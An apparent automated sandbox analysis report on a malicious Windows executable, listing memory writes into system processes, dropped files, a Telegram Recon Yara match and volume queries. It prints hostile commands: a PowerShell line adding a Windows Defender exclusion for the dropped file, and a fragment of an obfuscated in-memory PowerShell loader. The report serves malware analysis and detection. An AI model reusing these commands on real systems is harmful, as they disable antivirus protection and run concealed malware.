Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2B20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2DB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: E10000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2B70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: E50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1590000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 8E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: EC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: CF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 620000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2990000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 29F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2F20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2D40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2DC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 670000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1470000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 15C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 11C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D10000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2970000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 26A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 10E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: A90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2380000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2BC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: B90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 930000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 11D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 23A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1150000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1130000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: B20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2A60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2A20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: FB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 600000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: C80000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1460000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: DC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 11A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: E70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 7B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2C60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1290000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 9F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2230000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2A90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1170000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2880000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: B00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 1B7C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2153E9B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2C14A960000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1BC83280000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28FAE000000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28FAE2E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 25C9D520000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 180CBB00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 180CBB30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2BC5FFD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1E9DCC60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1E9DCD80000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 25FC3320000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19C14ED0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6450000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 213A4CC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 20DF5510000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1FA39650000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1FB8E0E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\ntoskrnl.exe base: 5D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\ntoskrnl.exe base: 900000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\ntoskrnl.exe base: 1B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\ntoskrnl.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 25A16DF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 25A16E20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 22382760000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B998180000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 2D50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\dwm.exe base: 26DB1610000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\dwm.exe base: 26DB15C0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2FA1C0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 209D2570000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\dwm.exe base: 26DB1560000

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process created: C:\ProgramData\Install.exe "C:\ProgramData\Install.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process created: C:\ProgramData\KrnlSetupSus.exe "C:\ProgramData\KrnlSetupSus.exe"	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{27f34893-8e1f-47b7-b44f-212b7709bf94}	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:zdgzeizuxwrl{param([outputtype([type])][parameter(position=0)][type[]]$lbrdggfzmoojsi,[parameter(position=1)][type]$iofhbohvyv)$rbujknkpjnm=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname(''+[char](82)+''+[char](101)+''+'f'+'l'+'e'+''+'c'+''+[char](116)+''+[char](101)+''+'d'+''+[char](68)+''+[char](101)+'l'+'e'+''+[char](103)+''+[char](97)+'t'+'e'+'')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule(''+[char](73)+'nm'+'e'+'m'+[char](111)+'r'+[char](121)+''+[char](77)+''+[char](111)+''+[char](100)+''+[char](117)+''+[char](108)+''+[char](101)+'',$false).definetype(''+[char](77)+''+'y'+'de'+[char](108)+''+'e'+''+[char](103)+'a'+'t'+''+'e'+'t'+[char](121)+''+[char](112)+''+[char](101)+'','c'+[char](108)+''+[char](97)+''+'s'+''+[char](115)+''+[char](44)+''+'p'+''+[char](117)+''+'b'+'l'+[char](105)+''+'c'+''+','+''+'s'+''+'e'+'a'+'l'+''+'e'+'d'+[char](44)+''+'a'+''+'n'+''+[char](115)+'ic'+[char](108)+''+[char](97)+''+[char](115)+''+[char](115)+''+[char](44)+''+[char](65)+''+'u'+''+'t'+'o'+[char](67)+''+'l'+'a'+[char](115)+''+[char](115)+'',[multicastdelegate]);$rbujknkpjnm.defineconstructor(''+'r'+''+[char](84)+''+[char](83)+''+[char](112)+'e'+[char](99)+''+[char](105)+''+'a'+''+[char](108)+'n'+'a'+''+'m'+'e'+[char](44)+'h'+'i'+''+[char](100)+''+[char](101)+''+'b'+''+[char](121)+''+[char](83)+''+[char](105)+''+[char](103)+''+[char](44)+'p'+'u'+'b'+[char](108)+''+[char](105)+''+[char](99)+'',[reflection.callingconventions]::standard,$lbrdggfzmoojsi).setimplementationflags(''+'r'+'u'+'n'+''+[char](116)+''+[char](105)+''+[char](109)+''+[char](101)+''+','+''+[char](77)+''+[char](97)+'n'+[char](97)+''+[char](103)+'e'+'d'+'');$rbujknkpjnm.definemethod(''+[char](73)+''+[char](110)+'voke','p'+[char](117)+''+[char](98)+''+[char](108)+''+[char](105)+''+'c'+''+','+''+[char](72)+''+[char](105)+''+[char](100)+'e'+[char](66)+''+'y'+''+[char](83)+''+[char](105)+''+[char](103)+''+[char](44)+''+[char](78)+'e'+[char](119)+''+[char](83)+''+[char](108)+'o'+[char](116)+''+[char](44)+''+[char](86)+''+[char](105)+'r'+[char](116)+''+'u'+''+[char](97)+''+'l'+'',$iofhbohvyv,$lbrdggfzmoojsi).setimplementationflags(''+[char](82)+'un'+[char](116)+'ime'+','+''+[char](77)+'a'+'n'+''+[char](97)+''+'g'+''+'e'+''+[char](100)+'');write-output $rbujknkpjnm.createtype();}$ysqdxymchclna=([appdomain]::currentdomain.getassemblies()|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals('sys'+'t'+''+'e'+''+'m'+''+[char](46)+'d'+[char](108)+''+'l'+'')}).gettype('mi'+[char](99)+'r'+[char](111)+''+[char](115)+''+[char](111)+''+[char](102)+''+[char](116)+''+[char](46)+''+[char](87)+''+[char](105)+''+[char](110)+'3'+[char](50)+''+[char](46)+'u'+[char](110)+'s'+'a'+''+[char](102)+''+[char](101)+'nativ'+[char](101)+''+[char](77)+'e'+[char](116)+'h'+[char](111)+'d'+[char](115)+'');$exdfvzsyxbumyj=

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_0000000140002390 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

6_2_0000000140002390

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_0000000140002390 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

6_2_0000000140002390

Source: dwm.exe, 0000000C.00000000.1472720210.0000026DAA594000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000000C.00000002.2851619021.0000026DAA594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000007.00000000.1458464003.000002E991B70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000002.2802270805.000002E991B70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000C.00000000.1474064783.0000026DAAB41000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000007.00000000.1458464003.000002E991B70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000002.2802270805.000002E991B70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000C.00000000.1474064783.0000026DAAB41000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000007.00000000.1458464003.000002E991B70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000002.2802270805.000002E991B70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000C.00000000.1474064783.0000026DAAB41000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 0Program Manager
Source: winlogon.exe, 00000007.00000000.1458464003.000002E991B70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000007.00000002.2802270805.000002E991B70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000C.00000000.1474064783.0000026DAAB41000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match	File source: C:\ProgramData\ntoskrnl.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\KrnlSetupSus.exe, type: DROPPED

Source: C:\ProgramData\KrnlSetupSus.exe

Code function: 3_2_1C5734B0 cpuid

3_2_1C5734B0

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Queries volume information: C:\Users\user\Desktop\RdLfpZY5A9.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Queries volume information: C:\ProgramData\KrnlSetupSus.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
